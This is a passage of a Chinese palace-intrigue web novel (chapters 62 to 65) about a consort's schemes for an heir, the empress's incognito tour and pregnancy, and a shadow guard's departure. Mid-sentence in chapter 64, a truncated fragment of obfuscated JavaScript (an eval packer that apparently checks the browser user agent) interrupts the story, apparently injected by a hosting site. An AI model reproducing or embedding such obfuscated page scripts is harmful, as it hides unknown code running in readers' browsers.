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何况自家侄子是什么水平她还是有些了解的,平日里与那些纨绔子弟比试比试也就罢了,若是真上了战场,还不一定有乡里的屠夫有本事呢。 至于师恪,年岁尚幼,来日能如何还未可知。何况依着端木萌的喜好,若这孩子没有能令师霖特别瞩目提拔的天资,恐怕最多也就只能当个富贵闲人供养在家罢了。 星子高悬,暑气未消,月光照着树影映在榻上,周遭静得能听见冰块在坛中融化的声音。 徐聆雨斜倚在榻上,闭眼假寐,湖亭跪坐在她身后轻轻帮她按摩着头,眼尖撇到她眼角新生的一条浅浅的纹路,也只不动声色地将手指略微移向那处,反复向上按摩着。 这点微小的变化还是叫徐聆雨察觉到了。她挥手躲开湖亭的手,直了直身坐起来,喝了口茶,先问道:“公主呢?” “殿下在坤宁殿和令成公主玩呢。” “她们姐妹倒是要好。”徐聆雨面上没什么表情,一对细眉长拖入鬓,眉间轻耸,道:“老郡王的丧事可办完了?” “办完了,郡王妃的人说,再有三五日,她与县主便能抵京了。” “她们来不来无妨,重要的是,本宫要的东西可曾找到没有。” 湖亭闻言有些紧张,不自觉瞟了瞟四周,压低了声音道:“郡王妃说此事要与您当面说......娘娘,那东西就算好用,可必然伤身,您真的要用吗?” “若是旁人能指望,自然用不到本宫自己身上。”徐聆雨抬手抚了抚自己眼尾的纹路,看着湖亭那副避讳的样子,又有些心烦,只道;“本宫今年已经三十二岁了,自然比不上那些年轻的。本宫也不奢求,这皇子定要从本宫自己的肚子里生出来,这宫里自然有人‘心甘情愿’为本宫生。” 湖亭心下自然清楚徐聆雨指的是孙姝妙,然而如今孙姝妙亦不得宠,若要有子,谈何容易。 说来徐聆雨如今位至宸妃,原本没必要再求一个皇子,然而前些日子徐演猝死,却直到五日后徐聆雨一身素服到清和殿去,端木玄才想起此事,礼部又拖了几日,才堪堪将追谥的诏书发了下去,更别提徐策继位为郡王的诏令了。 可彼时师家那位四夫人去世,不过次日礼部便主动将追谥等事的奏疏递了上来,端木玄亦是当日批复,恐怕皇后尚未得到消息,京中百官前去吊丧的家眷的车马已经到了逢州了。 原本这两年江映、赵玉熹等人纷纷得子晋位,徐聆雨心中就始终不大踏实。徐演这事一出,徐聆雨算是彻底不再对端木玄抱有希望,只琢磨着有一个皇子傍身,就算不能扶其坐上皇位,将来随子就藩也比在行宫孤零零的做太妃好。 “本宫记得,复景元年那批进士,今年大多该调任回京了罢?” “是。吏部已下了诏书,着授诸州太守白束道大人为太学监正,总州太守落桓大人并河郡太守沈玄期大人为翰林学士,不日便要就职了。只有那位探花郎吴稳大人上表请求继续外任,如今从江州调到慕州去了。”湖亭一边回忆着这些日子从吏部秉笔的宦官那里打探到的消息,一边说道。 徐聆雨皱眉想了想,道:“你从本宫那箱子中取出三百两银,待郡王妃进京后便交给她,叫她去结交白大人、落大人还有沈大人这些人家的夫人们。” 她当年也曾看过白、落等人的文章,瞧起来他们对如今执政的师、官一派因循守旧的路数颇为不满,一心想要改革以挽救王朝于危命,想来不会与师家所代表的“旧党”站在一起,倒正好可以试着拉拢过来为她所用。 “若是这些人,能让师霖晚些回来,就更好了。” 63.第 63 章 端木含和端木汐方才各从师冉月这里讨了一副珊瑚耳珰,要给她们新做的木偶娃娃戴上。 两个叽叽喳喳的小雀飞远了,师冉月的笑容仍然剩在脸上。她看了看剩下的两副珊瑚耳珰,想了想,拿了一对坐到妆匣旁,教音儿帮自己歇下耳上戴的那对儿玉葫芦的,自己换上这珊瑚的,对着镜子左右照了照,道:“这珊瑚的倒比玉的衬人些。” 音儿笑道:“玉铛显得温润些,这正红的显得人气色好。娘娘如今是戴正红的年纪了。” “你是在说我老了吗?”师冉月坐在椅子上回转过身子,伸着手够着要去拧音儿的嘴。音儿笑着讨饶,随口扯道:“怎么会——那十几岁的姑娘出嫁时不也都戴正红。” 师冉月倒认真想了想:“我出嫁的时候戴的是金耳坠罢?姐姐出嫁戴的也是金的......只有云姝出嫁时戴的是坠着红玛瑙珠子的。” “娘娘好记性。” “是呀,竟都是十几年前的事儿了——景安都嫁人了。我一想起这些侄儿侄子们,总好像是他们还在慕州时的那般年岁呢。”说着,还用手比划了一番,“也就到我肩膀这般高吧?” “可不是么,那会儿咱们太子殿下才刚出生呢。” 师冉月手指摩挲着那耳珰,心思已穿过那镜子不知道去了何处,整颗心又倏地像是溺了水一般沉坠下去。师冉月眼神一暗,慌忙打捞起,不敢再往深处回忆,只摘下那耳珰道:“还是将这两副送给侯府罢。原也不是什么值钱的玩意儿,权当给小孩子玩了。”说着,她看了看院中拿着人偶比划着的两个女孩儿,又道:“她们这个年纪,正是喜欢这些亮眼的颜色的时候。” 那副玉的也不再戴上,便要收到妆匣中去,抬手间却不小心打翻了妆匣上做装饰的那只玉骨瓷的小花瓶。花瓶里的水夹着花叶迅速弥漫开,师冉月眼神撇到底下的妆匣,瞬间慌乱起来,和音儿拿着帕子手忙脚乱地将水擦干净了,这才又坐下喘口气,瞪着那妆匣看了半晌,才抽出来,检查了一番里面那些纸张。 “没有湿,娘娘放心罢。” 师冉月点点头,是没有湿,不过纸张老旧了不少,都是上好的信笺纸,却都各种程度的泛起了黄,起了毛边。 上次她看这些信,还是烟水来告诉她寒峦死了的时候。 “......烟水回来了么?” “前天近黛说是回来了,不过好像只呆了一晚便又走了。” “在清和殿?” 音儿觉得师冉月这话有些没头没脑的:“自然是在清和殿。” 师冉月理了理那些信,并未拆开看,找了块棉帕出来将它们包裹起来,复又塞回妆匣底下。 “娘娘,那花瓶便别放在妆匣上了罢?” “不用,继续放着就是。你去换些水来,过些日子菊花开了,便换上菊花来。” “陛下现在在哪里?” “好似是去凤宁阁了。” “哦。”师冉月低声应了一声,道:“那便明日罢。叫小厨房备上些山药,明日我要亲自下厨。” 落日熔金,暮云合璧,每至傍晚时分,天幕渐沉,总引得人愁思悬转,回肠绕心。 不过今日,信封上写了个“燕”字的信方拿在手上,师婷欢只觉得一颗心雀跃不已,连院中秋虫的啼鸣都像是愉快的演奏,脚下也跟着生风,只想回到自己院中好将信拿出来读。 自从师莞安与景琮定亲,逢州大大小小的应酬便似是躲不过去了。今年春景宗朝改任沉州,竟至于沉州也常递来帖子,弄得莞安近日一门心思央着端木婉允她到蒲城探望师景安,好躲一躲清闲。 这般情形下,这处小院便几乎成了师婷欢独居。偶尔为免四叔家两个妹妹住在四婶住过的院子中伤神,也会将她们两个搬来同住,但这两日幼芷幼桐两个被端木萌拉着到城北庄子里去住,棠欢又跟着父兄去了沉州,师婷欢难得无人打扰,早已迫不及待享受这一个独处的晚上。 终于坐到椅子上,喝了一口茶润喉静神,婷欢这才小心翼翼将信纸取出,入目便是熟悉的行楷字。信中所说也不过是他一个月以来诸多琐事,所见所闻也不过是日常杂事,却洋洋洒洒写满了七页信纸。然而师婷欢读完一遍,再从头细读时,先头的雀跃渐渐平静了,眉头却随之蹙得越发紧了。 伸手向青芜已为她备好的笔墨,提笔蘸墨几次,又提笔悬腕良久,复又蘸了蘸墨润笔,却还是放下了笔。 她站起身,在窗前来回踱步,想找人商榷却又无人可开口,无奈苦笑,嘀咕道:“这倒是,彼时之蜜糖,此时之砒霜了。” 想了想,终还是落座提笔,却是将信写给师霖,请他运作将燕寂调至太学。 若将师焕调回京城,未免显得太过急躁,反倒乱了阵脚。 之后又顺带了些问候,便直接落了款,又将燕寂的信直接附在后面,还不忘另写一行小字提醒师霖将燕寂的信原封不动给她带回来。 将信封仔细封口,师婷欢便觉得愁思顺着胶痕慢慢干涸。她相信师霖会解决一切,甚至也许在燕寂和她发觉这些之前就早已预先察觉。 家中所拥有的,她不曾主动问起,却也知道个大概。虽及不上传说中旧时楚王府的影卫,但自复景之后,师霖等人也更用心于此,好叫师家私卫不只是可以为人所用的筹码。 “青芜,帮我将此信寄到沉州——今晚就寄。” “是,姑娘。” 近黛轻轻阖上殿门,与音儿一同退到殿外,这才勾唇笑道:“皇后娘娘也有一阵子未曾来清和殿了。” 音儿笑道:“只是近来娘娘每每想到清和殿来,陛下就已经先一步到坤宁殿去了。” 殿内侍奉的都是可靠的人,二人便也不拘着守在外面,在偏殿廊亭中寻了个背风处坐下说话。 “你近来事情似乎很少,不常出宫。倒是烟水,我似乎好久没见过她了。” “我是不忙,除去清和殿的事,便只查了一宗这几个月宫中的事罢了。烟水上个月去了趟绛县,而后她家中似乎有人去世,都没回京城便直接去慕州了。” 音儿听见“绛县”,未免心头一紧,却又想起近黛似乎并不清楚这个中底细,便也不不做反应,倒问起她所查的“宫中的事”来。 近黛对此事自然又是讳莫如深。音儿笑着推她道:“你又这般!凡事非要给我们透个口风,偏生又要装那守口如瓶的主儿了。” 二人这般嬉笑着,便也将话题打发过去,只接着说些无关痛痒的话来。与之相比,殿内倒是一片寂静,似乎外面秋日肃杀的凉风已经灌满了整个清和殿,教人浑身发冷,缄口不言。 宫女和内侍们将菜上齐,便一齐悄无声息地退到殿外。薄枝与栖洲亦只守在门边。 师冉月率先伸手,为自己倒了一杯暖酒,道:“你每日在清和殿就是这般吃饭的么?” 端木玄点了点头,好似已经习惯了这般阵仗,也没打算去更改。 师冉月叹道:“把胃口都弄没了。” 端木玄双眼不自觉地看向她拿来的那一碟山药糕,嘴上却道:“我以为,你少了这一顿的胃口,也没什么影响。” 师冉月手上方才握住筷子,闻言不觉抬眸,直愣愣地看向他,反应过来他是什么意思后皱眉道:“什么意思嘛,你以为人人都像你一样不好好吃饭,当心折寿。” 眼见他瞟向那山药糕,想了想,还是伸手夹了一块到他面前的碟中,道:“这次的我试着加了些红枣,和加蜜是不一样的甜味,你且尝尝看。” 端木玄低头尝了一口,点头道:“是不错。” “那我以后便都这么做了。” 端木玄却犹豫道:“如从前那般做法,也未尝不成。” 师冉月忍不住笑开,笑过后却正色道:“我今日来——” “我知道你是有事。” “你之前答应我的南巡,我在那之后只出宫过一次。”师冉月道,“此次我想回逢州......探亲、祭祖。路上也许再挑几个地方看看风景。若是你有需要我去‘体察民情’的地方,我也可以去。” “民情倒是不用体察了,左右都是那般样子,任凭前朝那些臣子再写多少奏疏,终也无计可施。”端木玄淡然道,“你既想出去,便也不必费心做这些。” “也罢。”师冉月轻叹道,“只是如今这番情形,我也不好大张旗鼓劳动臣下,便仍只以‘微服私访’的由头,也不必将我的行程透露出去。” “这自然。” 话音落了,又是一阵沉默,只闻些细微的盘箸相碰的清脆声响。师冉月想起方才端木玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临近年关,师霖已经打发几个子侄先回了逢州,如今仍跟在身边的只有师玘。这孩子半个月前没有任何人的帮助,便谈下一笔生丝的买卖,还将价格压到比师霖原先预想的更低了一成,令众人皆是刮目相看,尽管这已经不是师玘第一次在经商方面展露出别样的天赋。 不过师霖私心,总还是希望师玘不要这么小的年纪就一门心思扑在这些行当上,毕竟偌大的家业,倘若下一辈只靠师焕一人在官场上运作的话,未免独木难支。 “三哥儿。” “怎么了,三叔?” 师玘从账目中抬起头,将笔搁在笔架上,望向师霖。 “此次会逢州后,你便沉下心来,准备两年后的春闱罢。” 师玘张了张口,却说不出来反驳的话。他自然晓得师霖的意图,想了想,仍旧道:“三叔,我不想入仕为官。” 师霖皱眉叹道:“‘士农工商’,商为末而士为首。你有读书为官的天资,为何要早早放弃呢?何况如今你能于此大施拳脚,亦是我们几世积累的缘故。倘若我们只是平民百姓,空有些钱财,也断然不能如此顺利......待到来日一切都稳定下来,你若还想经商,再辞官便是。” 屋内燃着端木婉制的线香,是松木夹着些桦木的味道,混在未关严的门缝里吹进来的北风中几乎没了味道。 师玘埋首在这微弱的气味中,几乎要窒息。 师霖远远立着,眸光落在侄子尚且单薄的脊背上,心间的不忍更盛。他别过眼神去,闭眼在心中轻叹。 不知过了多久,师玘吸了吸鼻子,开口时亦带着些鼻音:“我知道了,三叔。” 师霖侧身对着他,颔首道:“过完年,我会为你再寻一位合适的先生。” “多谢三叔。” 师霖顿了顿,想要做些补偿,在心底搜肠刮肚了一番,依旧不知该如何是好。临了只低声嘱咐他晚上睡时关紧门莫要着凉,便匆匆抽身离去。 听见叔父的脚步走远,师玘终于卸了力,仰面倒在椅子上。 这阵子在沉州的得意仿佛瞬间就成了上辈子的事。 他从小就晓得,这个家中的每个人多少都过得不太如意,而这般不如意大多是为着这个家去牺牲。牺牲掉一些什么,再换来所谓的更多。 原来终是不能躲掉啊。 64.第 64 章 乐康五年正月十七,上诏拜师霖为太傅。 二月初一,师霖抵京。 二月初二,诏令燕寂以翰林学士兼太学监正,并破例调师焕为京畿令。 “拜我三哥为太傅也就罢了,怎么连沈先生也拜了太子太师?” 师冉月不解,但师冉月无人可问。 此时若是去问端木玄,他一定会揶揄他们兄妹这回怎么消息不通;若是将师霖叫进宫来,他又要假惺惺地说“臣是外臣,这种事娘娘还是去问陛下的好。” 可惜此次唯有师霖自己一人孤身回京,端木萌与端木婉皆留在了逢州。不过这般倒引得师冉月越发想要弄个明白,原先拖拉着没有提上日程的“南巡”也迅速被安排起来。 林绵被请进坤宁殿时,入目的便是已经打包好的大包小裹,以及围在妆台旁亲自收拾着东西的一脸兴致勃勃的师冉月。 “这是什么阵仗?坤宁殿不住了?” “啊,绵姐姐,你来了!”师冉月亲自走过来拉着林绵到一旁坐下,在林绵眼中她简直是蹦着过来的,活似被二十年前的师冉月附了身,倒叫林绵像是见了鬼。 “不是要去微服私访么?” “是啊,所以请你过来商量。我走了之后这宫中总要有一人来代行皇后之责,所以——” “我不要!”林绵立刻拒绝。 她如今在后宫仿若隐身,文绉绉地说那就是如同闲云野鹤自得其乐,直白点说就是乐得清闲只想犯懒。左右师冉月也不需要她请安,如今她也没有孩子要管,至于端木玄——她都快忘了她还有这么位夫君。每日呆在辰阳殿中,想几时醒就几时醒,醒来后若有兴致描眉便描,没有兴致便素着一张脸不加任何修饰,自去做想做的事。 偶尔无聊了,便到坤宁殿坐坐,或者到御花园去转一转,遇见谁就和谁聊上几句,别提有多悠哉。 “若要我协理六宫,不用等前朝那些碎嘴的来抓我的错处,我自己便要天翻地覆了。” “那便帮我照顾玦儿和妧成,好么?” 林绵有些讶异,但转念一想,太子和公主都随着皇后微服私访,更是不合情理,便道:“这你放心,即便你不这般嘱托我,我难道就能放心他们两个自己在宫中不去照料么。” 师冉月笑了笑,又道:“只是协理六宫的人选,终究还要考量。” “陛下可有说什么?” “他怎会管,只交由我安排。” 林绵点了点头,道:“若依位分,自然该轮到宸妃......” 提起徐聆雨,师冉月眸光一暗,却未当下与林绵多言,只道:“将六宫大权全权交到宸妃手中,我终究是放心不下的。” 林绵心中也了然近年来徐聆雨私下诸多异常,心中却颇不屑,只道:“即便那般,她也没那个能力掀起什么大波澜,不过小打小闹罢了。” 师冉月却不置可否。事关前朝后宫,是否动摇国本她倒管不了,可与师家等的利益相关,她便不能在此事上掉以轻心。 “本来烟水若在,此事便没有那么麻烦。只是最近总不晓得她在做什么,连近黛似乎也不大清楚了......我是在想,将协理六宫之权同时交给宸妃和惠妃,由她们二人分庭礼抗,若有什么不对的,再由你告诉陛下把控便是。” “惠妃?”林绵看向师冉月,眼中的探究之意不言而喻,但见师冉月颔首,心中便了然下来,倒觉得江映竟是个聪明的,于是笑叹道:“罢了,你既有了主意,那便如此罢。” 师冉月宽慰地笑了笑,握起林绵的手,缓缓道:“除此之外,还有一件事需得你来做,也只能你来做。” 近日端木玄没有临幸哪位妃嫔,亦不大忙于政务,近黛便也跟着沾了些光能早睡上半个时辰。 纵然与同期的影卫相比,她大约是地位最高又在这宫中时间最长的人了,但她仍旧不觉得自己在此有固定的居所,只是在清和殿配殿中有一间单独的房间,屋内也只有一张床榻供她歇息,余下便是几件换洗的衣裳罢了。 毕竟在夜里,她能安心睡一觉的机会也并不多。 隔壁的白芷熏香飘在鼻息间,迷迷蒙蒙中,近黛只觉着窗外似乎有个人影,一瞬间清醒过来,却又在看清那人影时松了口气,打了个哈欠推开门,浅笑道:“阿胭姐姐,原来你回来了。” “小黛。”烟水点了点头,与近黛一同进了屋中。 “你已经睡了么?”接过近黛倒来的热茶,烟水双手捧着那小小的一个白瓷杯,轻轻啜饮了两口,便只暖手似的捧在手里。 “没,我也方才躺下没多久......你近来总不肯告诉我们你去了哪里,我还以为陛下派给你了什么艰巨的任务,一时半会儿回不来呢。” 烟水低眉笑了笑,只道:“你近来似乎闲了一些。” “是呀。皇后娘娘忙着出巡的事,陛下似乎也不想临幸其他人......影卫那边也没有什么事给我,倒叫我得闲了呢。” “若是叫你再忙起来,你可愿意么?” “是有新的任务么?” 烟水低了低头,手指摩挲着杯壁,叹息般道:“接替我的位子。” 近黛瞠目道:“为何?你要离开了吗......陛下不会放我们走的——”她瞪着烟水,心下萌生了一点希冀——也许没有别的缘由,只是烟水想走了,而端木玄为她破了例,网开一面—— 烟水眸光终似乎荡漾着那杯中茶水的影子,在月光下泛着盈盈水波。她望着近黛的一双狐眸,一时竟也不知道该对她说些什么。 近黛方才点亮了些光的眼睛又暗淡下来。她似是轻叹了一声,不再追问答案,只道:“若是陛下有令,我自然会接任。” “没有比你更适合的人了。” 是啊,寒峦已经死了,合月跟了太子。 近黛叹出声来,一手端起茶杯,正要喝茶,却又顿住手,看着那茶扯唇嘲弄道:“这时候到不应该喝茶,应该有些酒。” 烟水将茶杯放下,牵起近黛的另一只手,柔软而温热。 近黛心底泛起一股悲凉,她吸了吸鼻子,看向烟水的眼神中带了几分悲戚,却知道烟水不想说的话是万万不会被问出来的,可又担心着她不是简单的离开,便转了话头道:“等你回慕州,给我寄些银朱楼的茶来。” 烟水轻叹:“会的。” 近黛放下半颗心,另一只手放下茶杯,搭在烟水的手腕上,想说出口的叮咛顿了顿。 烟水抽回手,慢慢起身,想了想,轻声道:“我明日天亮便出城,不必送我,日后也不必去慕州寻我。自此之后,这世上便没有‘烟水’这个人了。” “我晓得,阿胭姐姐。” “多保重。” 师霖与师冉月的信是一并到的。 端木萌看着那两封信有些无奈,更觉得自那件事发生后他们兄妹二人的关系一直未曾恢复如初,不禁又有些好笑。 师霖的信摸起来很薄,拆开看,果然不过简简单单一张纸,与她报了平安,说了些京城那宅子的情况,还替燕寂给师婷欢问了声好,便草草收尾了。 师冉月那封趁着晚饭时端木萌拿去与端木婉一并看了,然则读过一遍,二人一时都没了话讲。 依着信中所言,师冉月将自京城向北至梁郡,再至息州,又至绛县,随后便一路往南经沉州回逢州。往北一千二百里兜兜转转,往南却是三千里几乎不停。 端木婉捻着那信纸放在书案上,玉葱似的瘦白的手指在上面点了点,又好笑又无奈道:“这信写的,倒像是个小孩子要去出游一般。” “她去梁郡与息州我倒猜到些缘由,可这绛县又是为着什么?”端木萌百思不得其解。 端木婉想了想,道:“这些年她与绛县可有消息往来?我听说似乎承祐年间的时候,容琯便单独与外面有信件来往。” 端木萌皱眉道:“子持是提过此事,不过好似他也不晓得是谁在与她通信——又或者只是他们兄妹彼此晓得罢了。咱们家那些暗线也不过是近些年才慢慢串起来的,怎比得上陛下那影卫消息灵通。” “也是。罢了,她也许只是从某处听说了绛县的风土人情,因此向往罢了。息州与绛县倒没有多远,我未出嫁时听说那边有各类面食,还有辣子,似乎很好吃,只是没机会品尝。” 端木萌点了点头,又扶额叹道:“说来我们在这儿研究她为何去这些地方做什么。” 端木婉闻言一愣,又拿起那信看了一遍,道:“大概是因着她从前给我们写信总会写清楚每件事的缘由,不会这般打哑谜罢?” 端木萌隐约觉得这“打哑谜”的感觉似曾相识,又一时没有头绪,只笑道:“罢了罢了,还是别研究了,我是要去用晚饭了。”说着起身要走。 端 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不知走了多久,才看见一座桥横在江上,她停下脚步喘了口气,这才觉得腿肚已经有些酸了。她无奈笑了笑,妥协似的晃到桥上,望着波澜不惊的江水在阳光下一浪一浪地泛着鱼鳞般的光。 还是不像江,她第一次来京城的时候就这么觉得。 顶多,能算是河罢。 比起慕州的江,苍云江实在太平静,没有江的波澜壮阔,没有江的波涛汹涌,甚至曾经她一度觉得苍云江只是沾了护卫皇城的光,才能跻身“江”的行列。 各种思绪像下雨前的燕子一般平滑地在脑海中略过,她又盯着那江面发了一会儿愣,便释然似的笑了笑,转身继续过江。 桥那边有座江浪观,观中有几个女冠,还有几个似乎是她们收养的小孩子。她第一次追着那些信的线索进京时便是在那里歇脚。 这会儿那道观静的像没有人。也许已经荒废了——她刚要这般猜测,就听见“吱呀”一声闷响,随后便有一男一女两个十来岁模样的少年搬开木门跑了出来,鬼鬼祟祟的。 她面上忍不住露出几分特别的温情,抬了抬手在身前,却又很快放下。她远远看着那两个少年拿着什么东西跑到远处的竹林边,那个少年拿了个小锄头样子的东西挖了一个小坑,少女随即从袖中取出了个什么,颇郑重地放进了坑中。 两个人虔诚地并排跪下,似是在许愿,又或者是在发誓。 神明会听见吗? 神明会应允吗? 她又觉得有些好笑,发誓——就如当年她与小黛义结金兰,合该对月发誓才是。这会儿江雾未散,但天亦全明,这两个人对着一片杂乱的竹子发誓,一副私定终身的样子,何其天真。 突然,那观中探出头来一个年纪更大点的女子,对着那两人喊了两句什么,似是他们的名字。那二人明显受到了惊吓,匆匆忙忙起身答应着,又手忙脚乱地用土把那坑重新填埋上,这才快步往道观里跑了回去。 姜胭看了一阵,又兀自发了会儿愣,才觉得今日实在是发了太多次愣,忍不住责怪起自己来。她扶了扶肩上的小包袱,转身往京畿的驿站方向走去。 她需要一匹马......也许一辆马车更合适。 她身后的城墙笼罩在烟雾中。 师冉月一袭旧蓝衣,只带着音儿在旁,深吸了一口气,叩开柴扉。 “先生一定要走么?若先生想留下,本宫可向陛下请旨,请先生入东宫与沈先生一同辅佐太子,便如旧时在王府时你二人一同辅佐平江郡王那般。” 蒋节拱手道:“多谢娘娘好意。不过此番是我自己想走,倒与旁人无关。” “先生正值壮年,此时隐退,岂不可惜?” “我自王府时跟随陛下,却一直不能施展抱负,如今亦无法助陛下成事。原先烦闷时想到辞官归隐,总觉不大甘心。此次改税一事后,只觉得自己当真不适宜留在前朝,倒不如回家去做个教书先生。” 他顿了顿,又躬身道:“若是来日能于乡间为陛下与殿下修史立名,也算不枉陛下与娘娘厚爱了。” 闻蒋节此言,师冉月再也无话可说,只得叹道:“既是如此,那便祝先生得偿所愿了。” 蒋节微微抬首,望向眼前这位只穿了一身旧衣的女子,风华依旧,却已不复当年在王府时年轻。想起这些日子所见前朝内廷诸事,心下不忍,却只是又低下头去,躬身拜谢:“草民谢过娘娘。” 65.第 65 章 师冉月出了京城,顶着因她私访蒋节而惹来的铺天盖地的弹劾。 私会外男、不守妇道、妄为国母,又或者贿赂臣属、干涉朝政。此番弹劾轰轰烈烈,以至于京畿百姓都多有多耳闻,就连师冉月下马车到茶馆歇个脚喝个茶的工夫都能听到各种编的五花八门的皇后秘闻。 不过她对此倒是置若罔闻,只全丢给端木玄和师霖处置。 其实她前去劝说蒋节,本就是端木玄授意。此番只要他出言为她现身说法,一切弹劾就都成了笑话。只是他迟迟不说,师霖也一直保持沉默,师冉月便也懒得研究他们有各自打的什么算盘,只安安心心“微服私访”。 于是落桓于朝会上当众与师霖辩“皇后之责”与“妇道”,并请求端木玄降责于师冉月时,师冉月已经坐在梁郡内一处酒肆的雅间内,优哉游哉地听曲品茗了。 一曲清歌告一段落,戴着水青面纱的歌女头上的铃铛轻轻响了响,一双水汪汪的眼睛探究地望向师冉月。 音儿看了看那歌女,轻轻拍了拍师冉月的手臂。师冉月这才恍然回神,看着那歌女有些局促的样子,心中亦有些愧疚,便叫香径将赏银给她,叫她先行退下。 歌女抱着琵琶出去了,隔着墙壁却尚能听见隔壁的乐声缠绵在一起。这会儿天色方沉,向西眺目尚能见一片青白的天光。师冉月也不欲休息,只叫随从支起窗子,望着街上人来人往熙熙攘攘,亦觉得颇有乐趣。 不知何时,对面楼下一角的一小块空地上渐渐围过来一些人,人群中走出来一个衣衫破旧的年轻妇人,手中还牵着一个四五岁大的小姑娘。那妇人四下瞧了瞧,见人聚起来了,便把女儿的手放开,从怀中拿出一个钵一样的东西敲了一下,朗声开始讲起故事来。 音儿听了一阵儿,道:“夫人,这不似是说书,倒像是变文?” 师冉月点点头:“昭君出塞,但与说书先生的版本不同。” 香径好奇道:“我听说变文便是佛经俗讲,可她讲的内容里似是没有佛教义理啊?” “变文原先是经书俗讲,后来经过演变,便也有全然是世俗故事的版本了。”师冉月柔声解答,却又叹道:“有言道‘盛世无饥馁’,原是因为世人皆忙于劳作,而待人们逐渐沉溺于娱乐奢靡,乱世也就不远了。待到人们连娱乐荒废的心情都没有了,这世道也就要变天了。” 隔着一条街,那女子的声音亦是时有时无的,又似乎越讲越没有气力,到了后半段,围观的人也走了不少。及至她讲完拿起木盘讨赏时,只有两个书生模样的人给了她几个铜板,还有一个卖花儿的老婆婆塞给那小姑娘半块馍。 音儿下楼去往那落寞站着的妇人手中送上三两碎银子时,那妇人几乎是当场落下泪来,看着作寻常人家仆妇装扮的音儿亦如同见到神仙妃子降世,要去拉她的手又瑟缩回去,双手合十放在额前拜了又拜,又领着女儿冲着师冉月所在的方向跪下磕了三个响头。 那小女孩木着眼睛,只紧攥着手里的馍啃,被母亲按在地上时“哇”地一声哭了出来,又抽噎着去捡掉在地上的渣。 师冉月冷着脸放下窗子坐了回去。 “明日见了梁郡太守的家眷,便去息州罢。” “娘娘......夫人今日晚间为何不快?明明那母女受了夫人恩惠,也很高兴,夫人合该欣慰才是啊。” 音儿只是摇头,心中却猜了个十之八九。 师冉月想必是想到自己的皇后身份,身为一国之母,却只能给一对母女这样几两碎银缓一时之急,却不能如史上贤后那般做些真正惠及万民的实事。她虽嘴上说着清闲便好,自小却是很仰慕那些因贤名而得以名垂青史的后妃的。 又或许,她总是看不得这般的苦难。每当窥见旁人身上千疮百孔的一点,她平生的那点不如意就显像是纵恣作态,好似轻飘飘一阵风,合该转头忘却,可她心上的阴云也有分量,时至今日也没有哪阵风能真正将那些阴云吹散。 愧疚于人,又愧疚于己,左右不得心安。 “你也不必费心猜测这些有的没的,只管服侍好夫人起居便是。” 香径听后低下了头,却又纠结地抬起,罕见地顶嘴道:“可是,可是体察主子的情绪,不也是我应该做的吗?” 音儿抿嘴不语,眼神有些不快。她将师冉月的外衫在衣架上铺展平整,连一丝细微的褶皱都不放过。良久后,她才开口道:“是要体察,但不是妄加揣测。体察主子是为了更好地服侍,譬如你见到夫人不快,更该谨言慎行,仔细侍候,顺着她的心意去做事。今日也不早了,明日还要到曹府去,你且快去睡罢。” 香径眼圈有些红,却还是道:“姑姑忙了一日,今日还是我来守夜,姑姑去睡罢。” 音儿深看了她一眼,并没有再拒绝,只是从旁边给她搬来一床厚实的棉褥,便自去歇息。 成和早等在客栈一层的一间厢房内,见音儿回来,高兴道:“你不是说今日要守夜?” 音儿轻叹了口气,道:“香径那丫头一定要替我。” “这是好事啊,怎么还叹气。这一路我瞧着她也挺稳重的。”成和为她细心披上披肩,又把她推到妆案前亲自帮她拆卸头上的钗环。 音儿手脚懒着,困意也渐渐弥漫,打了个哈欠道:“若说稳重得体,与她一齐进来侍候的罗幕和轻寒的确比不上她。如今木莲接了我的位子任尚宫职,春桃去负责照看妧成公主......这次本来也没打算叫她跟着,原也是她自荐的,或许她是想来日能接替木莲罢。” “十五六岁的小姑娘,比咱们的女儿没大两岁,倒也不必要求她太多。我十五岁的时候还差点把侯爷的马养死呢。” 音儿失笑,简单梳洗了,便与成和一道躺倒在榻上,又叹:“香径......有些敏感。也许我还是喜欢啼樱那样只知道听话的罢。罗幕......灵巧。轻寒话倒是不多,只可惜与合月和春桃一样。” 成和听着她嘟囔,很快便昏昏欲睡,将要睡死时,又听见她似是叹了口气,道:“来日姑娘回宫,我还是再为她选一批人罢。” 成和拉过她拥入怀中,粗重的鼻息喷在她脸庞:“别想以后了,快点儿睡吧。” 音儿却忍不住又在心里叹了口气,只也闭目睡去。 师冉月在宫中时讨厌御医每日请脉问安,便改了规矩,只待她不适时去请御医,才准御医入坤宁殿。这般算下来除了过年时吃多了胃不舒服那一次后,竟有两个多月没有看过御医了。 这会儿她自曹家出来,坐在马车上便觉得有些恶心,只当是中午吃的有些油腻,便与音儿一起到车下走路消食,回到客栈时方觉得有些好了。 音儿却不放心,只一定叫随行的御医来看,这一看才晓得师冉月竟是又有了身孕。 御医开了保胎药便走了,只留师冉月独自扶额叹息:“去帮我给陛下写封信,将此事告诉他。”又立刻补充道:“他要是打算命我就此打道回府就算了。我们明日便启程去息州,在息州住上两三日便去绛县......而后我便回逢州养胎,叫他不必担心。” “这恐怕不合规矩吧......若是叫前朝那些人晓得了——” “怎么,从前帝后出巡,崩逝于途中亦是有的,产子又算得上什么。”师冉月满不在乎。 音儿却觉得她这样子,和多年前在那艘过江的小舟上时也差不了多少,想了想又道:“那若是他们怀疑皇嗣血脉......” “怀疑——那不认也行,干脆这孩子生下来便放在师家养,只是差个皇子公主的名头罢了。” 一种又有机会与所有抗衡的亢奋像夜间的潮水慢慢平息,黎明前的黑寂再次降临。 她抬手轻轻摸了摸小腹,不同于年轻时第一次做母亲的紧张,也不同于第二个孩子的驾轻就熟。 “我这个年纪,竟然还会再有一个孩子么?” 音儿拿来暖炉放在师冉月的脚底,笑道:“姑娘今年也才三十四岁,我听闻女子过了五十岁还有能生育的呢。” 师冉月笑了笑,动了动脚让脚心完全受到暖炉的照拂,又叹道:“宫里也不差这么一个孩子了,我只私心希望这个孩子能平安长大便好。” 